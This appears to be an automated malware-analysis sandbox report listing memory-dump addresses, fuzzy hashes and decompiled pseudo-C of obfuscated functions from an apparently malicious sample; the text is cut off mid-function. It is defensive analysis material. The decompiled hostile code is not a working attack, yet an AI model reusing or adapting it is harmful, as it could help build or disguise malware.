0x026a247b
0x026a247b
0x026a247b
0x026a2480
0x026a2483
0x026a248a
0x026a2490
0x026a2496
0x026a2496
0x026a2498
0x026a249f
0x026a24a1
0x026a24a9
0x026a24b3
0x026a24bf
0x026a24bf
0x026a24c9
0x026a24c9
0x026a24cc
0x026a24d2
0x026a24da
0x026a24e1
0x026a24e7
0x026a24e7
0x026a24ea
0x026a24ea
0x026a24ee
0x026a24ee
0x026a24f8
0x026a24fa
0x026a2502
0x026a2509
0x026a250f
0x026a250f
0x026a2510
0x026a251a
0x026a251c
0x026a2524
0x026a252b
0x026a2531
0x026a2531
0x026a253c
0x026a253e
0x026a2546
0x026a2549
0x026a254d
0x026a2550
0x026a2556
0x026a255d
0x026a2563
0x026a2566
0x026a2566
0x026a2567
0x026a2571
0x026a257a
0x026a2584
0x026a2584
0x026a258f
0x026a2593
0x026a259b
0x026a259b
0x026a259f
0x026a25ab
0x026a25b2
0x026a25b8
0x026a25b8
0x026a25bc
0x026a25c2
0x026a25ca
0x026a25cd
0x026a25d0
0x026a25da
0x026a25da
0x026a25e5
0x026a25e9
0x026a25f1
0x026a25f1
0x026a25f4
0x026a25fa
0x026a2602
0x026a2609
0x026a2612
0x026a2612
0x026a2613
0x026a261d
0x026a2620
0x026a2624
0x026a2627
0x026a2633
0x026a263a
0x026a2640
0x026a2641
0x026a2641
0x026a2642
0x026a264c
0x026a264f
0x026a2652
0x026a265c
0x026a2666
0x026a2666
0x026a2669
0x026a2670
0x026a2674
0x026a2678
0x026a267b
0x026a2681
0x026a2689
0x026a2690
0x026a2696
0x026a2699
0x026a2699
0x026a269d
0x026a26a0
0x026a26ac
0x026a26b0
0x026a26b3
0x026a26b4
0x026a26b4
0x026a26ba
0x026a26f3
0x026a26f7
0x026a26f8
0x026a26fb
0x026a26bc
0x026a26bc
0x026a26c3
0x026a26c6
0x026a26d9
0x026a26da
0x026a26e2
0x026a26e6
0x026a26e9
0x026a26ec
0x026a26ec
0x026a2705
0x026a270b
0x026a2711
0x026a2715
0x026a2716
0x026a2724
0x026a2728
0x026a272b
0x026a272e
0x026a2734
0x026a2737
0x026a2744
0x026a2746
0x026a2747
0x026a274f
0x026a2752
0x026a2754
0x026a2757
0x026a2759
0x026a2760
0x026a2761
0x026a2763
0x026a2766
0x026a2778
0x026a277a
0x026a277e
0x026a23f3
0x00000000
0x00000000
0x026a2400
0x026a2402
0x026a2408
0x026a240f
0x026a2415
0x026a2415
0x026a2418
0x026a2424
0x026a2426
0x026a2430
0x026a243a
0x026a243e
0x026a2440
0x026a2444
0x026a244f
0x026a2453
0x026a245b
0x026a245b
0x026a245e
0x026a246a
0x026a2471
0x026a2477
0x026a2477
0x026a24ea
0x026a24ee
0x026a24ee
0x026a24f8
0x026a24fa
0x026a2502
0x026a2509
0x026a250f
0x026a250f
0x026a2510
0x026a251a
0x026a251c
0x026a2524
0x026a252b
0x026a2531
0x026a2531
0x026a253c
0x026a253e
0x026a2546
0x026a2549
0x026a254d
0x026a2550
0x026a2556
0x026a255d
0x026a2563
0x026a2566
0x026a2566
0x026a2567
0x026a2571
0x026a257a
0x026a2584
0x026a2584
0x026a258f
0x026a2593
0x026a259b
0x026a259b
0x026a259f
0x026a25ab
0x026a25b2
0x026a25b8
0x026a25b8
0x026a25bc
0x026a25c2
0x026a25ca
0x026a25cd
0x026a25d0
0x026a25da
0x026a25da
0x026a25e5
0x026a25e9
0x026a25f1
0x026a25f1
0x026a25f4
0x026a25fa
0x026a2602
0x026a2609
0x026a2612
0x026a2612
0x026a2613
0x026a261d
0x026a2620
0x026a2624
0x026a2627
0x026a2633
0x026a263a
0x026a2640
0x026a2641
0x026a2641
0x026a2642
0x026a264c
0x026a264f
0x026a2652
0x026a265c
0x026a2666
0x026a2666
0x026a2669
0x026a2670
0x026a2674
0x026a2678
0x026a267b
0x026a2681
0x026a2689
0x026a2690
0x026a2696
0x026a2699
0x026a2699
0x026a269d
0x026a26a0
0x026a26ac
0x026a26b0
0x026a26b3
0x00000000
0x026a278e
0x026a278e
0x026a2799
0x026a2799
0x026a277e
0x026a24ea

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction ID: e886eb330e8520097232a6bba593baa3811b531e4043807f274ed7bdd55c3e50
Opcode Fuzzy Hash: 5063cc60d0f54240b9a3c44f49a1b41b478f4e192b9dbd546f22f91da9e65e9d
Instruction Fuzzy Hash: CBB18932800215DFEB14DF64C8997AEBBF5FF88725F19886DDC889B245DB781850CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 026A6424, Relevance: .2, Instructions: 241
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E026A6424(signed int __ebx, signed int __ecx, signed int __edi, signed int __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _t116;
				signed int _t118;
				signed int _t119;
				signed int _t123;
				signed int _t125;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t133;
				signed int _t136;
				intOrPtr _t139;
				signed int _t140;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				void* _t146;
				signed int _t147;
				void* _t150;
				signed int _t152;
				signed int _t153;
				signed int _t159;
				signed int _t162;
				signed int _t174;
				signed int _t180;
				signed int _t183;
				void* _t188;
				signed int* _t194;
				signed int _t197;
				void* _t200;
				signed int* _t207;
				signed int* _t208;
				signed int* _t210;

				_t183 = __esi;
				_t167 = __edi;
				_t147 = __ecx;
				_t143 = __ebx;
				_t194 = _t207;
				_t208 =  &(_t207[0xfffffffffffffffe]);
				if( *(__ebx + 0x41863f) == 0) {
					_push(__edi);
					 *_t208 =  *(__ebx + 0x418267);
					_push(__ecx);
					_push( *_t208);
					_v20 =  *((intOrPtr*)(__ebx + 0x4180fb));
					_pop(_t180);
					_push(_v12);
					 *_t208 = _t208;
					_t142 =  *((intOrPtr*)(__ebx + 0x45d03c))();
					_v8 = _t180;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) & 0x00000000;
					 *(__ebx + 0x41863f) =  *(__ebx + 0x41863f) | _t180 ^ _v8 | _t142;
					_t167 = _v8;
				}
				 *_t208 =  *_t208 & 0x00000000;
				 *_t208 =  *_t208 ^ _t183;
				_t15 = _t143 + 0x418344; // 0x418344
				_v8 = _v8 & 0x00000000;
				_v20 = _v20 + _t15;
				_t116 =  *((intOrPtr*)(_t143 + 0x45d018))(_v8, _t147);
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) & 0x00000000;
				 *(_t143 + 0x4182b7) =  *(_t143 + 0x4182b7) | _t159 & 0x00000000 | _t116;
				_t162 = _t159;
				_t118 = _t116 & 0x00000000 ^ (_t143 & 0x00000000 | _a4);
				_t146 = _t143;
				if( *(_t146 + 0x4183ac) == 0) {
					 *_t208 =  *_t208 - _t146;
					 *_t208 = _t118;
					_v28 =  *((intOrPtr*)(_t146 + 0x4184c7));
					_t174 = _t167;
					_v32 =  *((intOrPtr*)(_t146 + 0x418464));
					_t162 = _t162;
					_v36 =  *((intOrPtr*)(_t146 + 0x4180db));
					_t194 = _t194;
					_t141 =  *((intOrPtr*)(_t146 + 0x45d040))(_t183, _t162, _t146);
					 *_t208 = _t174;
					 *(_t146 + 0x4183ac) = 0 ^ _t141;
					_t167 = 0;
					_t118 = _t183;
				}
				_t119 = _t118 - 1;
				if( *(_t146 + 0x4180ef) == 0) {
					_v8 = 0;
					 *_t208 =  *_t208 ^ _t119;
					_t140 =  *((intOrPtr*)(_t146 + 0x45d01c))(_v8);
					_v12 = _t167;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) & 0x00000000;
					 *(_t146 + 0x4180ef) =  *(_t146 + 0x4180ef) ^ (_t167 & 0x00000000 | _t140);
					_t167 = _v12;
					_pop(_t119);
				}
				if(_t119 > 0) {
					if(_a12 != 0) {
						if( *(_t146 + 0x418324) == 0) {
							_v12 = _v12 & 0x00000000;
							 *_t208 =  *_t208 | _t119;
							_v28 =  *((intOrPtr*)(_t146 + 0x41861b));
							_t197 = _t194;
							_t147 = _v32;
							_v32 =  *((intOrPtr*)(_t146 + 0x4185bf));
							_v36 =  *((intOrPtr*)(_t146 + 0x4185c3));
							_t129 =  *((intOrPtr*)(_t146 + 0x45d040))(_t147, _t194, _v12);
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) & 0x00000000;
							 *(_t146 + 0x418324) =  *(_t146 + 0x418324) | _t197 & 0x00000000 | _t129;
							_t194 = _t197;
							_t119 = _t119;
						}
						_t123 = _t119;
						 *_t208 = _t123;
						_v28 = _v28 & 0x00000000;
						_v28 = _v28 ^ (_t147 & 0x00000000 | _t119 -  *_t208 | _a12);
						_t99 = _t146 + 0x41821f; // 0x8302c6
						_v8 = 0;
						_v32 = _v32 | _t99;
						_t125 =  *((intOrPtr*)(_t146 + 0x45d018))(_v8, _v12);
						_v12 = _t167;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) & 0x00000000;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) | _t167 ^ _v12 ^ _t125;
						_pop(_t150);
						_t126 = _t194;
						_v28 = _v28 ^ _t150 + _t126;
						_t152 = _t146;
						_t153 = _t152 & _a8;
						_t183 = _t183 + _t153;
						_v28 = _v28 - _t146;
						_v28 = _t183;
						_v32 = _t153;
						_v12 = _v12 & 0x00000000;
						_v36 = _v36 | _t126;
						_t119 = E026A6424(_t146, _t153, _v12, _t183, _v12, _v8, _t146);
					}
					_push(_t183);
					return _t119 ^ _t119;
				} else {
					if( *((intOrPtr*)(_t146 + 0x41805b)) == 0) {
						 *_t208 =  *_t208 - _t194;
						 *_t208 =  *_t208 ^ _t119;
						_v12 = _v12 & 0x00000000;
						_v28 = _v28 | _t119;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183d0));
						_v36 =  *((intOrPtr*)(_t146 + 0x4182cb));
						_v8 = _v8 & 0x00000000;
						 *_t208 =  *_t208 | _v36;
						_t139 =  *((intOrPtr*)(_t146 + 0x45d044))(_v8, _t183, _t119, _v12, _t194);
						 *_t208 = _t147;
						 *((intOrPtr*)(_t146 + 0x41805b)) = _t139;
						_t147 = 0;
						_pop(_t119);
					}
					_pop(_t188);
					if( *(_t146 + 0x41822b) == 0) {
						_v20 = _v20 - _t147;
						_v20 = _v20 ^ _t119;
						_v28 =  *((intOrPtr*)(_t146 + 0x418647));
						_t162 = _v32;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183e0));
						_v36 =  *(_t146 + 0x418307);
						 *_t208 =  *(_t146 + 0x41842c);
						_t136 =  *((intOrPtr*)(_t146 + 0x45d048))(_t188, _t147, _t162, _t119, _t147, 0, _t147);
						 *_t208 = _t194;
						 *(_t146 + 0x41822b) = 0 ^ _t136;
						_t194 = 0;
						_t119 = _t147;
					}
					_t210 = _t194;
					_pop(_t200);
					if( *(_t146 + 0x418552) == 0) {
						 *_t210 =  *_t210 & 0x00000000;
						 *_t210 =  *_t210 + _t119;
						_v20 =  *(_t146 + 0x4181fb);
						_v12 = _v12 & 0x00000000;
						 *_t210 = _t210 +  *_t210;
						_v28 =  *(_t146 + 0x418643);
						_t132 =  *((intOrPtr*)(_t146 + 0x45d03c))(_t162, _t162, _v12, _t119, _t162);
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) & 0x00000000;
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) | _t200 - _v32 ^ _t132;
						_t133 = _t200;
						return _t133;
					}
					return _t119;
				}
			}

0x026a6424
0x026a6424
0x026a6424
0x026a6424
0x026a6425
0x026a6427
0x026a6431
0x026a6433
0x026a643a
0x026a643d
0x026a643e
0x026a6445
0x026a6449
0x026a644a
0x026a644d
0x026a6450
0x026a6456
0x026a645e
0x026a6465
0x026a646b
0x026a646b
0x026a646f
0x026a6473
0x026a6476
0x026a647c
0x026a6483
0x026a6486
0x026a6492
0x026a6499
0x026a649f
0x026a64aa
0x026a64ac
0x026a64b4
0x026a64b7
0x026a64ba
0x026a64c5
0x026a64c9
0x026a64d2
0x026a64d6
0x026a64df
0x026a64e3
0x026a64e4
0x026a64ec
0x026a64f3
0x026a64f9
0x026a64fa
0x026a64fa
0x026a64fb
0x026a6503
0x026a6505
0x026a650f
0x026a6512
0x026a6518
0x026a6520
0x026a6527
0x026a652d
0x026a6530
0x026a6530
0x026a6534
0x026a667d
0x026a668a
0x026a668c
0x026a6693
0x026a669e
0x026a66a2
0x026a66aa
0x026a66aa
0x026a66b4
0x026a66b7
0x026a66c3
0x026a66ca
0x026a66d0
0x026a66d1
0x026a66d1
0x026a66de
0x026a66e2
0x026a66e6
0x026a66ea
0x026a66ed
0x026a66f3
0x026a66fd
0x026a6700
0x026a6706
0x026a670e
0x026a6715
0x026a671e
0x026a671f
0x026a6723
0x026a6726
0x026a6727
0x026a672a
0x026a672d
0x026a6730
0x026a6736
0x026a6739
0x026a6740
0x026a6743
0x026a6743
0x026a6748
0x026a6752
0x026a653a
0x026a6541
0x026a6544
0x026a6547
0x026a654a
0x026a6551
0x026a655b
0x026a6565
0x026a6568
0x026a656f
0x026a6572
0x026a657a
0x026a6581
0x026a6587
0x026a6588
0x026a6588
0x026a6589
0x026a6591
0x026a6594
0x026a6597
0x026a65a4
0x026a65b0
0x026a65b0
0x026a65bb
0x026a65c7
0x026a65ca
0x026a65d2
0x026a65d9
0x026a65df
0x026a65e0
0x026a65e0
0x026a65e1
0x026a65e1
0x026a65e9
0x026a65ec
0x026a65f0
0x026a65fa
0x026a65fd
0x026a6604
0x026a660f
0x026a6614
0x026a6620
0x026a6627
0x026a662e
0x00000000
0x026a662e
0x026a662f
0x026a662f

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction ID: e104664f13358535308984130002d619d9088edeedc4b25d86e27b9128db5a06
Opcode Fuzzy Hash: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction Fuzzy Hash: 68A17E72804608EFEB049F64C8897AEBBF8FF84725F19849DEC88DA145DB741590CF69

Uniqueness

Uniqueness Score: -1.00%

Function 026A5AF6, Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction ID: c127796c83f0746f406912b96ed19dce9d142ca3b348877a08e6fa2d86a7b637
Opcode Fuzzy Hash: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction Fuzzy Hash: 33519272D08504AFEB08CFA5D9567ADF7F5EF84320F25816ED452A7280DB782941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 026A2DF5, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction ID: 42691d8f9427d2710999f70e8dc89985977ff9cf27a97e40bc1e33829dc39468
Opcode Fuzzy Hash: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction Fuzzy Hash: 7B418C37A146049FEB00CF65D98179EBBF1FBC4324F26847EC984D7241DB34A9868BA4

Uniqueness

Uniqueness Score: -1.00%

Function 026A1374, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction ID: 61aa52bd13f9b746dbfc4225e493902b548db6b1ecfd2fd05862ad74370da958
Opcode Fuzzy Hash: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction Fuzzy Hash: 4141D373810A05EAEB048F38CD593CA3B71EF41334F2987A8AD389E1D5CB788B559B54

Uniqueness

Uniqueness Score: -1.00%

Function 026A596E, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction ID: bb45cac7d60acc50ef411d7951b412c473411b7cecd9fe4bbc065310ccc82112
Opcode Fuzzy Hash: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction Fuzzy Hash: 4A414D72810608AFEB048F25C89479A3B65FF44335F29C35EEC2A8E1D6CB7589658F58

Uniqueness

Uniqueness Score: -1.00%

Function 026A3314, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction ID: 4b2012dbbea8fa6ec6a75b375d85b605717ec6914d4c9f1114150e2dc7bfdfd6
Opcode Fuzzy Hash: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction Fuzzy Hash: 53412972814A08EFEB05CF64C48939A3B71FF40325F24C2AAEC699E1D5CB7897619B54

Uniqueness

Uniqueness Score: -1.00%

Function 026A3BDB, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction ID: 00b860e4c45604385873bd5ad0ace83b65caf70a2e4bed513072a683601e7783
Opcode Fuzzy Hash: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction Fuzzy Hash: ED416872D11A08ABEB44CE68CAD53DE7B70EF44720F18839EDC39991D5CB3A42508F94

Uniqueness

Uniqueness Score: -1.00%

Function 026A5C76, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction ID: f2654c2737ecfaf0a7aefd966b7aef2c25cd689c1dc87c2aaa92458711c9b9b1
Opcode Fuzzy Hash: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction Fuzzy Hash: 13316B72C10A19ABEB448E79C9493DE7B30EF41330F14C36DAC75AA1D4DB7886528F94

Uniqueness

Uniqueness Score: -1.00%

Function 026A28EB, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction ID: dd7aafcdbcf0bfb6b9246622695c0154a0307653fb0e2da242d3cac7838cf240
Opcode Fuzzy Hash: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction Fuzzy Hash: 1D317E72910608DBEB04CF68C9453DD7771FF40730F2883A9DC259A1D5C73A8B519B84

Uniqueness

Uniqueness Score: -1.00%

Function 026A554B, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction ID: a035943c9d63a5a640fdee6d7af05f42c5016baf61178832bc252e6b2808d320
Opcode Fuzzy Hash: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction Fuzzy Hash: 6C31C832C10A05ABEB04CF35C9993DA3761EF84370F1483AEAC298D1D5D7B486529F54

Uniqueness

Uniqueness Score: -1.00%

Function 026A52EC, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction ID: 9d16fe5060ec3ddb8229292829c2d28dd360deb3872caec59102ac32aca4d045
Opcode Fuzzy Hash: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction Fuzzy Hash: 9A313C72C10604ABFB048E35CA493DA3760EF40336F28C3ADAC399D1D5DB7846619F58

Uniqueness

Uniqueness Score: -1.00%

Function 10002154, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E10002154(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E100022BB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E10002375(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E10002260(_t55, _t66);
										_t89 = _t66 + 0x10;
										E100022BB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E10002357(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x10002158
0x10002159
0x1000215a
0x1000215d
0x1000215f
0x10002162
0x10002163
0x10002165
0x10002166
0x10002167
0x1000216a
0x10002174
0x10002225
0x1000222c
0x10002235
0x1000217a
0x1000217a
0x10002180
0x10002186
0x10002189
0x1000218c
0x10002190
0x10002195
0x1000219a
0x1000221a
0x00000000
0x1000219c
0x1000219c
0x100021a8
0x100021aa
0x10002205
0x10002205
0x1000220b
0x00000000
0x100021ac
0x100021bb
0x100021bd
0x100021be
0x100021bf
0x100021c2
0x100021c2
0x100021c4
0x00000000
0x100021c6
0x100021c6
0x10002210
0x100021c8
0x100021c8
0x100021cc
0x100021d4
0x100021d9
0x100021de
0x100021ea
0x100021f2
0x100021f9
0x100021ff
0x10002203
0x00000000
0x10002203
0x100021c6
0x100021c4
0x00000000
0x100021aa
0x1000221e
0x1000221e
0x1000221e
0x1000219a
0x1000223a
0x10002241

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 9c57574405240a8165450f76d07df83800bb314007ae7cce2d6078ed4837daf0
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 6521CB76900204AFD710DFA8CCC09A7F7A5FF49390B468158DD599B249D730FA25CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0092B11C, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0092B11C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0092B287(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0092B341(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0092B22C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0092B287(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
